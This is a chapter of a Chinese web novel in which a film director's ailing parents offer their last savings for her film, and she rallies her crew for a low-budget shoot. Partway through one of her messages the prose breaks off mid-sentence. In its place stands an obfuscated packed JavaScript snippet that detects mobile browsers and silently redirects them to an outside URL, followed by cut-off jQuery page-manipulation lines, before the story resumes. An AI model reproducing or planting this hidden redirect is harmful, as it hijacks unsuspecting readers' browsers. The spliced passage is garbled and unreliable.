“地下生长”系统运转到第三天，资源缺口依然像一张贪婪的巨口。
登记的三百多位“播种者”提供了场地、人力、技术，但最核心的资金，依然捉襟见肘。
电影拍摄是吞金兽，尤其是《野草》中有大量需要实景搭建的荒原废墟场景——
那不是在绿幕前就能解决的。
财务总监把最新报表放在沈小鱼面前，声音干涩：
“沈导，按照最低拍摄标准，资金缺口还有两千七百万。如果按原计划的美术要求，缺口是四千万。”
报表上的数字冰冷而客观，像一记记闷拳。
沈小鱼还没说话，手机响了。
是个瑞士的号码。
她接起来，是母亲康复中心的中文翻译：
“沈小姐，您母亲想和您视频，现在方便吗？”
“方便。”沈小鱼对财务总监点点头，示意他先出去。
电脑屏幕上很快弹出视频请求。
点击接受，母亲的脸出现在画面里。
背景是阿尔卑斯山下的康复花园，秋日的阳光金灿灿地铺在草坪上，母亲坐在轮椅上，身上披着沈小鱼寄去的羊绒披肩，气色比在国内时好了许多，但眼底深处那抹被漫长病痛和家庭重担磨砺出的坚韧，依然清晰可见。
“小鱼。”
母亲笑着，眼角的皱纹像舒展的菊花瓣，“忙不忙？”
“不忙。”
沈小鱼也笑，努力让声音听起来轻松，“妈，您今天看起来特别好。瑞士的空气是不是特别养人？”
“是很好，但再好也是别人的地方。”
母亲轻声说，目光穿过屏幕，仿佛能看见女儿身后简陋的集装箱办公室，“小鱼，妈妈跟你说个事。”
“您说。”
母亲从轮椅侧袋里摸出一个老旧的牛皮笔记本——
沈小鱼认得，那是父亲沈建国当年开公司时用的账本。
封皮已经磨损，边角卷起，里面夹着的却不是公司报表，而是几张颜色不一的存折和银行卡，还有手写的密密麻麻的数字。
“这是咱们家……最后的家底了。”
母亲一个字一个字地说，语速很慢，但每个字都咬得清晰，像是排练过很多遍，“这本蓝色的，是你爸公司破产清算后，唯一保住的一点安置费，十八万，一直没动。这本绿色的，是咱们老房子拆迁时补的款，我存了定期，连本带利有五十二万。这张卡……”
她顿了顿，手指摩挲着一张银行卡：
“是你爸每个月领的伤残补助，他非要我攒着，说将来……给你添点嫁妆。”
沈小鱼的喉咙突然哽住了。
视频画面外，传来父亲沈建国压抑的咳嗽声，接着是他沙哑的嗓音：
“跟孩子说这些干啥……让她安心拍戏……”
“你闭嘴。”
母亲头也不回地说，语气是罕见的强硬，但眼圈红了，“小鱼有权知道。”
她转回头，看着镜头里的女儿，眼神柔软得像山间的晨雾，又沉重得像浸了水的棉被：
“妈妈算过了，加起来，有一百一十三万七千四百块。”
她顿了顿，深吸一口气，像是要攒足力气说完下面的话：
“你爸的药，我托人从国内寄过来了，这边医院也给开了替代的，能撑一阵子。我的治疗费，康复中心看在你是‘有影响力的国际艺术家’份上，给了不少减免……所以这些钱，你拿去用。”
“妈！”
沈小鱼终于忍不住，眼泪滚下来，“那是您和爸的保命钱！我怎么能动！”
“保命钱不就是给儿女用的吗？”
母亲笑了，那笑容里有种近乎天真的执拗，却又带着历经苦难后的透彻，“小鱼，你爸和我这辈子，起起落落都经历过。风光过，也跌到过谷底。但我们最骄傲的，就是养了你这么个女儿。”
她看向画面外，声音轻柔下来：
“老沈，你跟女儿说句话。”
画面边缘，父亲沈建国沉默地走进镜头范围。
他比沈小鱼记忆中苍老了许多，背有些佝偻，穿着洗得发白的夹克衫，手里攥着一个棕色的小药瓶。
他看了屏幕一眼，眼神复杂——
有愧疚，有心疼，有骄傲，还有一丝沈小鱼读不懂的、属于失败者的倔强。
“……拍戏，别省钱。”
父亲最终只吐出这么几个字，声音粗哑得像砂纸磨过木头，“该花的……要花。”
说完，他像是耗尽了所有力气，又退出了画面，只留下一个沉默的背影。
母亲的眼泪终于掉下来。
她抹了抹眼角，重新看向沈小鱼：
“小鱼，妈妈在电视上看到你了，在那个金色大厅里讲话。那些大领导都给你鼓掌。妈妈当时……哭得比你还厉害。”
她哽咽着：
“我女儿，在做大事。是真正的大事，比你爸当年开公司、谈生意，要大得多的事。妈妈帮不上忙，但这点钱，能买几卷胶片，能管剧组几顿饭，也是好的。”
“妈……”
沈小鱼泣不成声，“这钱我不要。您和爸好好养身体，钱的事我自己想办法。新规则基金……”
“你那基金的钱，是别人的信任，要用来做更大的事。”
母亲打断她，眼神突然变得锐利，“这是你爸和我，从牙缝里省出来的，是我们做父母的……最后一点心意。”
她指着屏幕，一字一顿：
“这钱，不是施舍，是投资。爸爸妈妈投资我女儿的理想。你要是不拿，就是看不起我们这点心意，就是觉得……我们没用了。”
最后几个字，她说得很轻，却像锤子一样砸在沈小鱼心上。
沈小鱼张了张嘴，说不出话。
母亲缓和了语气，声音里满是疲惫的温柔：
“小鱼，你知道妈妈在瑞士，最常想的是什么吗？不是这里的雪山多好看，不是这里的医生多厉害。我想的是你爸……想他当年意气风发的样子，想他破产后一夜白头的晚上，想他这些年虽然消沉，但每次你打电话回来，他都守在旁边听，听完偷偷去阳台抽烟……”
她的眼泪无声滑落：
“我们这辈子，就这样了。但你不一样。你走的这条道，干净，亮堂，有骨头。所以这钱，你必须拿着。让它变成你电影里的一束光，一个镜头，一句台词。这样，等你电影放的时候，我就能拉着你爸，指着银幕说：‘看，那里有咱们攒的钱。’”
视频挂断后，沈小鱼在会议室里坐了整整一个小时。
面前摊着那张存折清单的截图，还有财务总监留下的资金缺口报表。
一百一十三万，对于两千七百万的缺口，杯水薪。
但它重如千钧。
因为那是父母在人生废墟里，一点一点扒拉出来的、带着体温的砖石。
是她父亲破碎的尊严，是她母亲带病的身体，是这个家庭最后一点没有被命运夺走的、关于“未来”的念想。
沈小鱼拿起手机，给母亲回了一条很长的信息：
“妈，爸，钱我收到了。但我不会动用。我会把它存起来，开一个专门的账户，叫‘家的根基’。等我这部电影成了，我会用赚来的钱，把这个账户填满，填到它再也装不下。”
“然后，我带你们回家。不是回那个负债累累的家，是回一个你们可以安心养老、爸爸可以不用为药钱发愁、您可以每天去公园晒太阳的新家。”
“电影的钱，我会用市场的方式挣来。用票房，用口碑，用千万普通人的选择。”
“因为我要向你们证明——你们女儿走的这条路，不仅干净，而且走得通。它能挣来干净的钱，能换来干净的尊重，能让我们一家，堂堂正正地重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021138|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新站起来。”
“而你们的钱，是我最后的退路。有它在，我就永远不会真的走投无路，永远不会忘记我是为什么出发。”
“所以，请您和爸，好好保管它。就像保管着女儿最后的勇气，和咱们家……最后的火种。”
发送。
她放下手机，擦干眼泪，推开会议室的门。
财务总监和陆青然、许昕都等在外面，脸上写满担忧。
“沈老师……”
许昕小声说，“您……还好吗？”
沈小鱼看着他们，忽然笑了。
那笑容里有泪光洗净后的透彻，也有破釜沉舟的决绝。
“我很好。”
她说，“比任何时候都好。”
她走到白板前，拿起笔，画了一个巨大的圆圈。
“两千七百万缺口，我们填不上，就不填了。”
她在圆圈里写下“《野草》”两个字，“我们换一种玩法。”
“什么玩法？”陆青然问。
“极限拍摄。”
沈小鱼转身，目光灼灼，“把所有非必要的开支砍掉。美术场景，用实景改造代替搭建；服装道具，用二手市场淘换代替定制；团队规模，压缩到最低——导演、摄影、录音、场记，核心工种一人兼多职。”
“那质量……”
“质量不靠钱堆。”
沈小鱼打断他，“靠人。靠我们每个人，把命扑进去。”
她看向许昕：
“许昕，接下来三个月，你没有助理，没有房车，没有单独化妆间。你要自己背器材，自己记台词，自己揣摩角色。你能做到吗？”
许昕站得笔直：“能。”
“陆青然，你不仅要写剧本，还要跟组当场记，做制片助理，甚至帮忙搬道具。行吗？”
陆青然点头：“行。”
“李强，”
沈小鱼看向刚从派出所做完笔录回来的摄影师，“你的团队，我只留两个人。其他人，你负责说服他们，暂时离组，等我们活下来再回来。”
李强咧嘴一笑：
“沈总，我那些兄弟，撵都撵不走。他们说，要死也死在《野草》的片场上。”
沈小鱼的眼睛又热了。
她深吸一口气，在白板上写下最后一行字：
“拍摄周期：60天。预算：三千万。目标：一部让所有人闭嘴的电影。”
写完，她扔掉笔，看向所有人：
“从现在起，《野草》剧组，正式进入‘战时状态’。”
“我们没有退路，没有援兵，只有彼此。”
“而我们要打的这场仗，不是为了一部电影的成败。”
“是为了证明——”
“在这个被资本和流量统治的世界里，还有一群人，愿意用最笨的方式，最真的心，去拍一部也许没人看，但一定对得起天地良心的电影。”
“也为了证明，”
她的声音低了下来，却更坚定，“那些在废墟里把最后一块砖递给我们的家人……他们没有给错人。”
会议室里安静得能听见呼吸声。
然后，许昕第一个举起手：“我加入。”
陆青然：“我加入。”
李强：“我加入。”
财务总监推了推眼镜，苦笑着也举起手：
“虽然我觉得这简直是自杀式拍摄……但，算我一个。”
沈小鱼看着那一只只举起的手，像看见荒原上，一株株破土而出的野草。
微小，却倔强。
她拿起手机，给母亲发了最后一条信息：
“妈，爸，电影要开机了。”
“这次，我们不要施舍，不要怜悯。”
“我们要赢。”
“用市场的方式，干干净净地赢。”
“然后，带你们回家。”